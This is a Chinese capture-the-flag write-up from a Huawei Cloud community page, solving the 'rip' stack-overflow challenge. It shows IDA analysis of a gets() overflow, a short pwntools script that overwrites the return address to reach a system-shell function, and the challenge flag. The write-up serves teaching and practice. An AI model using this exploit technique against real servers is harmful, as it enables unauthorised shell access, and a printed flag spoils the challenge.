rip题解

举报
御麟 发表于 2023/04/26 20:53:20 2023/04/26
【摘要】 ​ 1.查看文件保护机制​编辑使用的是新版本的checksec2.拖入IDA分析查壳​编辑是一个64文件,拖入64位IDA这个文件就是我们要攻击的服务器中的一个进程的代码,进程就是一个正在运行的程序分析敏感函数打开字符串窗口​编辑 跟进,光标点在command,Ctrl+x交叉引用,查看使用字符串的函数​编辑 继续跟进​编辑按下空格键切换为文本模式​编辑发现函数地址在000000000040...

 1.查看文件保护机制

编辑

使用的是新版本的checksec


2.拖入IDA分析

查壳

编辑

是一个64文件,拖入64位IDA

这个文件就是我们要攻击的服务器中的一个进程的代码,进程就是一个正在运行的程序

分析敏感函数

打开字符串窗口

编辑 跟进,光标点在command,Ctrl+x交叉引用,查看使用字符串的函数编辑

 继续跟进

编辑

按下空格键切换为文本模式

编辑

发现函数地址在0000000000401186 

按下F5反编译

编辑

发现这个函数就是调用system来进入shell

只要调用了这个函数就可以进入shell,我们就实现了pwn的目的

我们也知道了这个函数的地址

分析main函数

main函数是程序的入口

编辑

发现这个进程会用gets函数来接收一个字符串

gets函数是容易导致内存泄露的非常危险的函数,因为gets并没有输入的字符数量的限制 

s能存储的字符数为15个,剩下的都会溢出

分析这个进程之后我们接下来要做什么,就是一个运行着main函数的进程,我们要用gets函数导致的栈溢出漏洞来劫持进程,运行那个敏感函数,来进入shell


3.hack

文件分析完毕,开始hack

原理

原理是什么呢

内存中有程序开辟的空间

栈空间是从高地址像低地址扩展的

我们在调用一个过程(函数)的时候,会将上一个函数的返回地址压入栈中(回到上一个函数的时候使用这个地址返回),然后在栈(内存)中的是当前过程的指针(EBP)

之后进栈的是我们的局部变量s数组

s在内存中的地址是比存储EBP和返回地址更低的

我们可以写入s,利用15个字符来填充s,用接下来的8个字符来填充EBP,后面的字符就会覆盖了原来的返回地址,这一步叫进程劫持

这样这个程序返回时,就会返回我们想要去的地方

我们想要去的就是那个敏感函数

我们就要把这个发送给被hack的服务器,劫持进程,拿到shell

就可以随心所欲地操作服务器了

返回地址

EBP
s[15]

操作

需要安装Python3环境和pwntools

编辑

点击Launch,获得主机名和端口号,一个端口号对应一个进程

 我们python3命令进入Python环境

输入from pwn import *导入pwn包

io=remote("node4.buuoj.cn",29965)

创建一个对象,出入主机名和端口号

io.sendline('A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1"))

向进程发送一个消息来实现利用StackOverflow漏洞的攻击,获得shell

io.interactive()

现在我们获得了shell

完全掌控了对方的服务器

用cat命令将flag中的内容来输出

编辑

编辑

 flag{4c524f38-e6ba-462f-b39c-e73630801af1}






【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。